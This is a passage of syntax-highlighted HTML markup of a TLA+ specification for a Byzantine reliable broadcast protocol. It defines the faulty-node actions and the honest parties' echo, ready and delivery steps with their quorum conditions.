&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;212&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;FaultySendReady&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;213&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;214&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;215&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [sent_ready EXCEPT ![f] = v]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;216&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;broadcaster&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_init&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;faulty_equivoc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;217&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_init_v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;218&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;219&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;FaultyStep&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;220&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;FaultyEquivocate&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;221&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;FaultySendEcho&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;222&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∨&lt;/span&gt; &lt;span class="n"&gt;FaultySendReady&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;223&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;224&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;225&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="n"&gt;Party&lt;/span&gt; &lt;span class="n"&gt;Actions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;226&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;227&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;228&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="n"&gt;broadcaster&lt;/span&gt; &lt;span class="n"&gt;sends&lt;/span&gt; &lt;span class="n"&gt;INIT&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;same&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;229&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;LeaderInit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;230&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;broadcaster&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;231&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;232&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_init&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;233&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;234&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_init&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [sent_init EXCEPT ![self] = Command]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;235&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;broadcaster&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;faulty_equivoc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;236&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_init_v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;237&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;238&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Upon&lt;/span&gt; &lt;span class="n"&gt;receiving&lt;/span&gt; &lt;span class="n"&gt;INIT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;broadcast&lt;/span&gt; &lt;span class="n"&gt;ECHO&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;239&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;EchoOnInit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;240&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;241&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;242&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;HasInit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;243&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [sent_echo EXCEPT ![self] = InitValue(self)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;244&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;broadcaster&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_init&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;faulty_equivoc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;245&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_init_v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;246&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;247&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Upon&lt;/span&gt; &lt;span class="n"&gt;receiving&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt; &lt;span class="n"&gt;echoes&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;broadcast&lt;/span&gt; &lt;span class="n"&gt;READY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;248&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReadyOnEchos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;249&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;250&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;251&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;EchoQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;252&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [sent_ready EXCEPT ![self] = v]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;253&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;broadcaster&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_init&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;faulty_equivoc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;254&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_init_v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;255&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;256&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Upon&lt;/span&gt; &lt;span class="n"&gt;receiving&lt;/span&gt; &lt;span class="n"&gt;Qa&lt;/span&gt; &lt;span class="n"&gt;readies&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;broadcast&lt;/span&gt; &lt;span class="n"&gt;READY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;257&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ReadyAmplify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;258&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;259&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;260&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;ReadyQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Qa&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;261&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [sent_ready EXCEPT ![self] = v]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;262&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;broadcaster&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_init&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;faulty_equivoc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;263&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_init_v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;264&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;265&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Upon&lt;/span&gt; &lt;span class="n"&gt;receiving&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt; &lt;span class="n"&gt;readies&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;deliver&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;send&lt;/span&gt; &lt;span class="n"&gt;READY&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;yet&lt;/span&gt; &lt;span class="n"&gt;sent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;266&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;DeliverOnReady&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;267&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;268&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;ReadyQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;269&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [delivered EXCEPT ![self] = v]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;270&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;271&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;THEN&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; = [sent_ready EXCEPT ![self] = v]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;272&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ELSE&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;273&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;UNCHANGED&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;broadcaster&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_init&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;faulty_equivoc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;274&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_init_v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rcvd_ready_cnt&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;275&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;276&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Upon&lt;/span&gt; &lt;span class="n"&gt;receiving&lt;/span&gt; &lt;span class="n"&gt;Qo&lt;/span&gt; &lt;span class="n"&gt;echoes&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;deliver&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fast&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
